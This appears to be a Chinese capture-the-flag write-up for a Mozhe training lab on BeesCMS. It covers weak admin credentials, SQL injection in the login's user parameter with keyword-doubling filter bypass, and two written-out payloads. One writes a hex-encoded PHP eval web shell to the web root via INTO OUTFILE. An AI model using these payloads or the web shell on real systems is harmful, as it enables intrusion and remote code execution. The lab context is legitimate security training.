BeesCMS系统漏洞分析溯源WP
本文出自JoCat原创作品,未经作者许可禁止转发,文章内容仅限交流学习,有问题可以联系QQ1506610991
作者博客JoCatW.github.io
背景介绍
某人搭建BeesCMS网站,邀请“墨者”安全工程师测试网站的安全性。
实训目标
1、了解BeesCMS;
2、了解此漏洞形成的原因;
3、掌握此漏洞的利用方式;
解题方向
根据网站目录,找到利用漏洞。
提示:网站位于”/var/www/html/“目录下。
链接:https://www.mozhe.cn/bug/detail/N3FvbjdsQUkza2F4b1hORGNXRVk1UT09bW96aGUmozhe
先进入环境看看
随便点进去一个页面
发现有参数,尝试SQL注入,无果
于是御剑扫描了下目录,发现有admin目录
点进去测试了下弱口令,结果直接就试出来账号admin密码admin….
进入后台寻找一番,尝试上传木马,结果不行
查了下相关漏洞,恍然大悟~
登陆界面存在SQL注入,在admin后加’测试,发现页面报错
那就打开BP准备上传木马~
经过了解,我们发现user参数存在注入,于是开始尝试注入,这里我就直接放出来最后的语句了,因为不断测试过滤语句有点冗长~
具体分析可以看这篇文章
https://www.cnblogs.com/yuzly/p/11423384.html
我们的payload如下
admin%27 un union ion selselectect 1,2,3,4, into outfile ‘/var/www/html’#
这边的写入地址在我们的题目简介里就已经给我们了
所以我们直接写入,结果发现并没有写入成功。
经过抓包BP排查,发现php函数htmlspecialchars()对输入中含有的特殊符号进行html实体化转义,导致不能写shell到目标服务器上。可以通过利用mysql注入的一个特性就可以达到注入效果(即对shell部分进行Hex编码),或者用mysql函数char()就可以绕过这里的限制。所以我们只需要对于我们的shell进行Hex编码。
所以最后
写入shell的payload为:admin’ uni union on selselectect null,null,null,null,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e in into outoutfilefile ‘/var/www/html’#
成功写入~
接下来用蚁剑连上即可
这里经过查找发现flag在根目录
这样就完成啦,这题主要的思路就是要了解BeesCMS的相关漏洞,并结合题目中给的地址进行木马上传,当然这里的写入地址也可以通过在管理页面上传报错后查看出来~
喜欢的师傅们收藏下网站啦,今后会一直更新各种教程~